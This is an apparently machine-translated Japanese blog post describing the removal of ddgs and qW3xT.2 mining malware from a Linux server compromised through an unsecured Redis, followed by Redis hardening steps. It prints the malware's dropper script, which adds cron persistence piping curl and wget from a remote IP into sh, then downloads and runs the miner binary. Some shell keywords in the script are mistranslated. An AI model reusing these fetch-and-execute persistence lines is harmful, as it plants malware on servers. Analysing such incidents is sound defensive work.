Linux サーバーに埋め込まれた ddgs および qW3xT.2 マイニング ウイルスの対処の実践記録

Linux サーバーに埋め込まれた ddgs および qW3xT.2 マイニング ウイルスの対処の実践記録

序文

仮想通貨の狂気的な投機により、マイニングウイルスは犯罪者が最も頻繁に使用する攻撃方法の 1 つになりました。ウイルス拡散者は、パソコンやサーバーを使用してマイニングを行う可能性があります。具体的な現象としては、コンピューターの CPU 使用率が高くなる、C ドライブの空き容量が急激に減少する、コンピューターの温度が上昇する、ファンの騒音が増加するなどの問題があります。

この記事では、Linuxに埋め込まれたDDGSとqW3xT.2マイニングウイルスの処理方法を主に紹介します。詳細な紹介を見てみましょう。

侵略後の現象:

2 つの異常なプロセス (qW3xT.2 と ddgs) が見つかりました。これらのプロセスは CPU を大量に消費し、強制終了された後しばらくして再び現れました。

これら 2 つの異常なプロセスを終了した後、しばらくすると次のプロセスが見られました。

まず、/etc/sysconfig/crotnab 内のスケジュールされたタスクでスケジュールされたスクリプトが見つからなかったため、crontab -e を入力してスケジュールされたタスクを見つけました。

*/5 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
<span style="font-size: 15px;">149.56.106.215 が米国内にあることを確認しました。i.sh スクリプトの内容は次のとおりです。</span>
エクスポート PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
エコー "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
 wget -q http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -O /tmp/ddgs.3013
 curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
フィ
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

治療方法:

1. crontab -eを削除する

*/5 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh

2. ハッカーが/root/.ssh/authorized_keysに設定したパスワードなしのログインコンテンツをクリアする

3. Redisのパスワードを変更する

4. ルートとログインアカウントのパスワードを変更する

安全のヒント:

1. Redisサーバーに接続できるIPを制限するためのbindオプションを設定し、Redisのデフォルトポート6379を変更し、認証、つまりAUTHを設定し、パスワードを設定します。パスワードはRedis設定ファイルにプレーンテキストで保存されます。

2. 名前変更コマンドの設定項目「RENAME_CONFIG」を設定すると、不正アクセスがあった場合でも、攻撃者がconfigコマンドを使用するのが難しくなります。

3. ファイアウォールでRedisの外部ネットワークをブロックできる場合

侵入方法:

関連情報を収集した結果、ハッカーは Redis の脆弱性を利用して侵入したことが判明しました。パスワードが設定されていなかったか、パスワードが単純すぎたのです。具体的な方法については、

https://www.jb51.net/article/147375.htm

reids パスワードの変更方法は次のとおりです。

redis-cli -h 127.0.0.1 -p 6379
config get requirepass ##現在のパスワードを取得します。 config set requirepass "yourpassword" ##現在のパスワードを設定します。サービスが再起動されると、デフォルト、つまりパスワードなしに設定されます。

永続的にするには、redis 構成ファイル redis.conf を開き、requirepass 値を見つけて、次のようにパスワードを変更します。

requirepass yourpassword ##行の前にスペースを入れないでください

要約する

上記はこの記事の全内容です。この記事の内容が皆さんの勉強や仕事に一定の参考学習価値を持つことを願っています。ご質問があれば、メッセージを残してコミュニケーションしてください。123WORDPRESS.COM を応援していただきありがとうございます。

以下もご興味があるかもしれません:
  • バッチ処理でポート135、137、445などを閉じる実装コード(ランサムウェアウイルス)
  • VBS スクリプトウイルスのウイルス原理の分析
  • PHP ウェブウイルス除去クラス
  • VC によって実装されたウイルスキラーツールの完全な例
  • DOSコマンドを使用してUSBウイルスと戦い、USBデータを保護する
  • USB ディスクウイルスを駆除する自家製バッチコード
  • C ウイルスプログラムの原理分析 (ウイルスを防ぐための C 言語の小さなウイルスの例)
  • 分析: 悪意のあるウイルスコードが挿入されたSQL文をクリアする
  • 自動実行ウイルス除去ツール bat コード
  • VBS.Runauto スクリプトウイルス分析
  • ウイルスがよく使用するVBSコード
  • Notepad.exe ウイルスを検出して駆除する方法
  • 美容ゲームウイルス iwbkvd.exe を検出して駆除する方法
  • バッチ自動実行ウイルス除去ツール
  • ルートキットウイルスソリューション

<<:  MySQL の大きなデータ テーブルにフィールドを追加する方法

>>:  SQL GROUP BYの詳細な説明と簡単な例

推薦する

Postman 自動インターフェーステストの実践

目次背景説明GETリクエストの作成事前リクエストスクリプトで署名を作成するスクリプトは環境変数に書き...

Nginx+Tomcat 負荷分散クラスタの実装例

目次導入1. 事例の概要2. 環境の展開3. Nginxホストのインストール4. Tomcatのイン...

html-webpack-plugin' を使用してメモリ内に HTML ページ プラグインを生成します。

webpackjs ファイルをパッケージ化するときに、次に示すように、index.html インタ...

データベースSQL SELECTクエリの仕組み

私たちは Web 開発者として、プロの DBA ではありませんが、データベースなしではやっていけませ...

Windows に MySQL 5.7.18 の解凍バージョンをインストールするチュートリアル

1. インストールプロセスMySQL バージョン: 5.7.18 1. my.ini ファイル(簡易...

一般的なMysql DDL操作の概要

図書館管理ライブラリを作成する データベースを作成します [存在しない場合] ライブラリ名;ライブラ...

ショートビデオ(Douyin)の透かし除去ツールの実装コード

目次1. まず最初のリンクを取得する2. ブラウザでこのリンクを開いてください3. アドレスを開くと...

Debian ベースの Linux システム ソフトウェア インストール コマンドの詳細な説明 (推奨)

Debian の紹介Debian は、広い意味では、フリーなオペレーティング システムの作成に専念...

TypeScript ジェネリックパラメータのデフォルト型と新しい厳密なコンパイルオプション

目次概要コンポーネントクラスの型定義を作成するジェネリック型を使用してPropsとStateを定義す...

Flash が HTML div 要素を覆わないようにする方法

今日、フラッシュ広告のコードを書いていたとき、フラッシュに付属するリンクはポップアップ広告と間違われ...

Linux の RPM パッケージでインストールされた xinetd ベースのサービスの管理

目次序文1. xinetdサービスに基づく起動管理(1)Telnetサービスのインストール(2)Te...

IE6 で幅と高さがおかしいバグ

図に示すように: しかし、IE6で表示すると、right:1px:になります。 IE6 には、幅と高...

HTML ウェブページのメタビューポート属性の説明

HTML メタビューポート属性の説明ビューポートとはモバイル ブラウザは、Web ページを仮想の「ウ...

Linux gzip コマンドのファイル圧縮実装原理とコード例

gzip は、Linux システムでファイルの圧縮と解凍によく使用されるコマンドです。このコマンドで...

Docker のインストールと構成イメージの高速化の実装

目次DockerバージョンCentOS に Docker エンジンをインストールするシステム要件古い...